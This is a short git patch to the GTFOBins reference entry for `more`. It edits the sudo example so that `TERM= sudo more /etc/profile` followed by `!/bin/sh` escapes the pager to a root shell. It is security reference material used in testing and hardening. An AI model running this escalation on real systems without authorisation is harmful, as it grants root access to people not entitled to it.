From fbd887e91a1f6aa8ea7edd8160c8aeacc42f1d7b Mon Sep 17 00:00:00 2001 From: Aj Dumanhug Date: Wed, 10 Jun 2020 16:48:48 -0400 Subject: [PATCH] Remove -E option of sudo for more Note added by @cyrus-and: this only works because `sudo` preserves `TERM` nevertheless (unless explicitly blacklisted). --- _gtfobins/more.md | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/_gtfobins/more.md b/_gtfobins/more.md index 1a37f2f..b8cfa69 100644 --- a/_gtfobins/more.md +++ b/_gtfobins/more.md @@ -10,6 +10,6 @@ functions: - code: ./more file_to_read sudo: - code: | - TERM= sudo -E more /etc/profile + TERM= sudo more /etc/profile !/bin/sh ---